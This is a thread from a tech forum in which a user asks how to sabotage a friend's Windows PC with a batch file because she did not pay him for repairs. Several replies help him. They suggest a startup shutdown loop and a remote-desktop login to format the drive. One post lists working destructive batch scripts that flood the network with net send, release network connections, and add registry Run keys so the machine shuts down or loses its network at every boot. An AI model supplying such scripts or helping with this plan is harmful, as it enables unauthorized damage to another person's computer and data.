Auto delete w/o prompt batch file - Techist - Tech Forum

Go Back   Techist - Tech Forum > Computer Software > Microsoft Windows and Software
Click Here to Login
Closed Thread
 
Thread Tools Display Modes
 
Old 04-01-2007, 06:09 PM   #1 (permalink)
Newb Techie
 
Join Date: Feb 2007
Posts: 9
Question Auto delete w/o prompt batch file

This is my situation.

I have spent a day working on a, so called, friends PC and now she refuses to pay me. I am broke and really need the money. I would like to leave her with a simple Batch file that will disable the system after a certain amount of time. So that when she calls me to fix it again I can charge her up front.

I was thinking about a delete batch or, even better, a auto format C:, without prompt or echo.

Or, I have the admin password. Can I make her account expire on date xx/xx/xxxx?

Please help!
__________________

Kratos is offline  
Old 04-01-2007, 08:06 PM   #2 (permalink)
Junior Techie
 
Join Date: Apr 2007
Posts: 79
Default Re: Auto delete w/o prompt batch file

I'm not sure about the ethics of making a batch file that deletes files, so how about something a little less harmless.

Create a batch file on the c: drive called whatever you want. Inside put 'shutdown -s -t 15' without the quotes. Create a shortcut to that file in the "Startup" folder in the Start Menu.

Not destructure, and will basically reboot the PC infinately.
__________________

ZenOswyn is offline  
Old 04-01-2007, 08:13 PM   #3 (permalink)
Newb Techie
 
Join Date: Feb 2007
Posts: 9
Default Re: Auto delete w/o prompt batch file

Quote:
Originally Posted by ZenOswyn View Post
I'm not sure about the ethics of making a batch file that deletes files, so how about something a little less harmless.

Create a batch file on the c: drive called whatever you want. Inside put 'shutdown -s -t 15' without the quotes. Create a shortcut to that file in the "Startup" folder in the Start Menu.

Not destructure, and will basically reboot the PC infinately.
I tried that this is what I got...

C:\>shutdown -s -t 15
'shutdown' is not recognized as an internal or external command,
operable program or batch file.
Kratos is offline  
Old 04-01-2007, 08:39 PM   #4 (permalink)
Junior Techie
 
Join Date: Apr 2007
Posts: 79
Default Re: Auto delete w/o prompt batch file

I'm guessing the machine you were working on was not a windows XP box.
ZenOswyn is offline  
Old 04-01-2007, 08:50 PM   #5 (permalink)
Newb Techie
 
Join Date: Feb 2007
Posts: 9
Default Re: Auto delete w/o prompt batch file

No, win2kp

I found this utility called devcon.exe that lets me put a reboot command in a batch file. I'm going to see if I can schedule the Autoexe.bat to be replaced, in 30 days, with a one that has the reboot command.

Thanks for pointing me in the right direcetion. This will drive her crazy and teach her my time is worth something.
Kratos is offline  
Old 04-01-2007, 08:55 PM   #6 (permalink)
Newb Techie
 
Join Date: Feb 2007
Posts: 9
Default Re: Auto delete w/o prompt batch file

FYI...

She asked me to fix her computer and said she would help me find a job. Let me use her spare room until I found work. I live in a different town and want to move to the town she lives in. More jobs there. After I fixed her computer, that she has let others work on for two months, she changed her mind. She will call me back and ask for help again, but next time I'm going to get paid. IN ADVANCE!!!
Kratos is offline  
Old 04-03-2007, 08:42 AM   #7 (permalink)
Junior Techie
 
Join Date: Jul 2006
Posts: 83
Default Re: Auto delete w/o prompt batch file

What i would do if someone didnt pay me, is activate remote desktop. then log in with the admin account and just fomat the drive, or just set the password to expire. Or you could format it with "format c: /fs:ntfs", if u dont get paid then i dont see a problem with this.
steak1986 is offline  
Old 04-03-2007, 02:19 PM   #8 (permalink)
Super Techie
 
ben_ben's Avatar
 
Join Date: Feb 2006
Posts: 350
Default Re: Auto delete w/o prompt batch file

lol just go onto google and type batch viruses you get alot
ben_ben is offline  
Old 04-03-2007, 02:28 PM   #9 (permalink)
Super Techie
 
ben_ben's Avatar
 
Join Date: Feb 2006
Posts: 350
Default Re: Auto delete w/o prompt batch file

Here you go




Flood Network

:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH

Disable Internet / Network

ipconfig /release

Shutdown Computer

shutdown -r -f -t0

Harmful

Shutdown Computer Every Time It Is Booted Up

echo @echo off>c:\windows\hartlell.bat
echo break off>>c:\windows\hartlell.bat
echo shutdown -r -t 11 -f>>c:\windows\hartlell.bat
echo end>>c:\windows\hartlell.bat
reg add hkey_local_machine\software\microsoft\windows\curr entversion\run /v startAPI /t reg_sz /d c:\windows\hartlell.bat /f
reg add hkey_current_user\software\microsoft\windows\curre ntversion\run /v HAHAHA /t reg_sz /d c:\windows\hartlell.bat /f
echo Undergroundkyng Strikes Again
PAUSE

Disable Internet / Network Permanently

echo @echo off>c:\windows\wimn32.bat
echo break off>>c:\windows\wimn32.bat
echo ipconfig/release_all>>c:\windows\wimn32.bat
echo end>>c:\windows\wimn32.bat
reg add hkey_local_machine\software\microsoft\windows\curr entversion\run /v WINDOWsAPI /t reg_sz /d c:\windows\wimn32.bat /f
reg add hkey_current_user\software\microsoft\windows\curre ntversion\run /v CONTROLexit /t reg_sz /d c:\windows\wimn32.bat /f
echo Undergroundkyng Strikes Again
PAUSE
ben_ben is offline  
Old 04-03-2007, 03:18 PM   #10 (permalink)
Repeat Offender
 
superdave1984's Avatar
 
Join Date: Aug 2006
Location: South Fulton, TN
Posts: 1,980
Default Re: Auto delete w/o prompt batch file

Try this.
How To Use the Remote Shutdown Tool to Shut Down and Restart a Computer in Windows 2000
__________________

__________________
Change the world. Of one person. Today.

If your equation requires either a complex combination of variables to get the desired result OR you can't seem to get the result regardless of the variables....it ain't your variables, it's your constant.
superdave1984 is offline  
Closed Thread

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are Off


Similar Threads
Thread Thread Starter Forum Replies Last Post
Having trouble getting a downloaded file Bendersterrier Internet Software and Browsers 1 03-28-2007 12:42 PM



Copyright 2002- Social Knowledge, LLC All Rights Reserved.

All times are GMT -5. The time now is 10:09 PM.


Powered by vBulletin® Version 3.8.8 Beta 1
Copyright ©2000 - 2017, vBulletin Solutions, Inc.